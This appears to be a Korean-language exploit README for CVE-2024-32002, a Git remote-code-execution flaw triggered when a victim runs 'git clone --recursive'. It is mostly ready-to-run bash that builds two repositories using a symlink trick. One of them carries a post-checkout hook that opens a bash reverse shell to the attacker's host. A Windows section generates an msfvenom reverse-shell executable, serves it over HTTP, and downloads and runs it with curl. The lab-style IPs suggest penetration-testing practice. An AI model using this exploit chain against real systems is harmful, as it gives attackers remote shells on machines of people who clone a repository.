
CVE-2024-32002에 대한 익스플로잇으로, 재귀적 서브모듈 클로닝과 심볼릭 링크를 사용하여 Windows 및 Linux 대상에서 임의 명령을 실행하는 Git RCE 취약점입니다.
###################### GIT RCE CVE-2024-32002 ######################
설명
| CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/
|
익스플로잇
| 먼저 git에 "calledrepo"와 "commandrepo" 리포지토리를 생성해야 합니다. | 피해자는 나중에 "git clone --recursive calledrepo.git"로 calledrepo를 호출하게 되며, 이는 commandrepo로 리디렉션되어 후크 스크립트를 실행합니다. | 이 bash 리버스쉘 페이로드는 WINDOWS와 LINUX에서 동작합니다. | | docker에서 git cli를 사용하고 있습니다. 시스템 git 구성에 문제를 일으키고 싶지 않기 때문이지만, 이는 선택 사항입니다.
.. code-block:: bash
docker run --rm -it debian
apt update apt install -y git
| Git 구성
.. code-block:: bash
git config --global user.email "whatever" git config --global user.name "whatever" git config --global protocol.file.allow always git config --global core.symlinks true git config --global init.defaultBranch main
| 변수 설정
.. code-block:: bash
GIT_IP="10.129.19.99" GIT_USER="charles" GIT_PORT="3000" LHOST="10.10.14.113" LPORT="4444"
| 리포지토리 채우기
.. code-block:: bash
cd /tmp rm -rf calledrepo commandrepo
git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" cd commandrepo mkdir -p y/hooks cat <y/hooks/post-checkout #!/bin/bash /bin/bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" EOF chmod +x y/hooks/post-checkout git add y/hooks/post-checkout git commit -m "post-checkout" git push cd ..
git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git" cd calledrepo git submodule add --name x/y "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" A/modules/x git commit -m "add-submodule" printf ".git" > dotgit.txt git hash-object -w --stdin < dotgit.txt > dot-git.hash printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info git update-index --index-info < index.info git commit -m "add-symlink" git push cd ..
echo "git clone --recursive http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git"
|
Windows
| Windows에서 익스플로잇 후, 몇 가지 문제/제한 사항이 있는 git bash를 얻게 됩니다: |
.. code-block:: bash
$ C:\windows\System32\whoami.exe /all bash: C:windowsSystem32whoami.exe: command not found
| 이 환경에서 탈출하려면 새로운 리버스쉘을 호출할 수 있습니다. |
.. code-block:: bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe sudo cp payload.exe /var/www/html sudo nc -nvlp 443 -s 10.10.14.113
.. code-block:: bash
cd ~/ curl http://10.10.14.113/payload.exe -O payload.exe ./payload.exe
|
| git bash가 Windows 명령어보다 우선하는 경로 순서를 가질 수 있다는 점을 잊지 마세요. | 전체 경로를 사용하여 Windows 명령어를 실행할 수 있습니다. |
.. code-block:: bash
C:\windows\System32\whoami.exe /all
|